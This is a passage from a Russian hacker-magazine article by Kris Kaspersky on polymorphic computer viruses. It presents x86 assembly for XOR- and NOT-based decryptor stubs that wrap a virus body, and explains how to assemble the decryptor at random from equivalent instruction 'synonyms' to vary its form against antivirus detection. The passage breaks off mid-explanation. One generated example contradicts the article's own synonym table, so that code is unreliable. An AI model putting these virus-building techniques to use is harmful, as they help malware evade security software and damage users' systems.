Ступени полиморфизма Крис Касперски ака мыщъх Хакер, номер #082, стр. 082-120-4 Какие проблемы возникают при кодировании? Во-первых, код расшифровщика должен быть полностью перемещаемым. Тут базара нет! Написать такой расшифровщик несложно. Во-вторых, расшифровщик должен как-то определять начало и конец зашифрованного фрагмента. Это тоже решаемо. Шифровка не изменяет длину данных, и размер шифроблока будет постоянен для всех расшифровщиков, так что его можно вычислить еще на стадии ассемблирования. В-третьих, для каждого шифровщика должен существовать парный расшифровщик или же выбранный криптоаглгоритм должен быть симметричен, то есть повторная шифровка зашифрованного текста расшифровывает его. Свойством симметрии обладают операции NOT; XOR X, любая константа; ROL/ROR X, 4 и некоторые другие арифметическо-логические операции, например, ADD byte,100h/2. Простейший симметричный шифровщик может выглядеть так (предварительно необходимо открыть сегмент кода на запись, что можно сделать функцией VirtualProtect): [симметричный расшифровщик на основе XOR] MOV ESI, offset body_begin MOV EDI, ESI MOV ECX, offset body_end - body_begin my_begin: LODSB XOR AL, 66h STOSB LOOP my_begin body_begin: ; // тело вируса со всеми остальными шифровщиками body_end: А вот другой расшифровщик: [симметричный расшифровщик на основе NOT] LEA EAX, body_end my_begin: NOT byte ptr DS:[EAX] SUB EAX, offset body_begin +1 PUSHF ADD EAX, offset body_begin POPF JNZ my_begin body_begin: ; // тело вируса со всеми остальными шифровщиками body_end: Несимметричные шифровщики/расшифровщики устроены сложнее, зато среди низ наблюдается гораздо большее разнообразие. Можно использовать практически любую комбинацию арифметическо-логических команд, только никакого смысла в этом нет. Все равно, если антивирус доберется до файла, он его поймает. [ступень 2: расшифровщик из кирпичиков] Идея: расшифровщик вируса имеет постоянный алгоритм, но состоит из произвольно выбираемой последовательности команд. Звучит страшновато, но реализуется тривиально. Возьмем в качестве наглядно-агитационного пособия расшифровщик на основе XOR, описанный выше. А теперь попробуем подобрать синонимы для каждой из слагающих его машинных команд (заботится об оптимизации необязательно). Получится примерно так: [инструкции и их синонимы] MOV ESI,offset body_begin ->gt; LEA ESI,body_begin;MOV ESI,offset body_begin-1/INC ESI; MOV EDI, ESI ->gt; PUSH ESI/POP EDI; XOR EDI,EDI/ADD EDI,ESI; LODSB ->gt; MOV AL,[ESI]/INC ESI; SUB AL,AL/SUB AL,[ESI]/NOT AL/INC ESI/ADD AL,1 XOR AL,66h ->gt; XOR AL, 6/XOR AL, 60h Для каждой из команд шифровщика мы будем выбирать случайную последовательность синонимов, как бы собирая шифровщик из кирпичиков. Результат нашей работы может выглядеть, например, так: [случайно сгенерированный расшифровщик] LEA ESI, body_begin PUSH ESI POP EDI MOV ECX, offset body_end - body_begin + 2 DEC ECX DEC ECX my_begin: MOV AL,[ESI] INC ESI XOR AL, 6 XOR AL, 66 MOV [EDI], AL SUB EDI, -1 ADD ECX, -1 JNZ my_begin Поскольку синонимы команд подготавливаются вручную еще на этапе ассемблирования, автоматически определять их длины совсем необязательно! Реализация получается очень простая. Единственную проблему представляют метки. Как видно, и абсолютное, и относительное смещение my_begin изменилось. Мы не можем на этапе ассемблирования подставлять в команду JNZ смещение my_begin, поскольку оно будет указывать в космос. Что делать? Вот одно из решений проблемы. Вместо метки подставляем команду сохранения текущего EIP в один из свободных регистров общего назначения, а затем прыгаем на него: |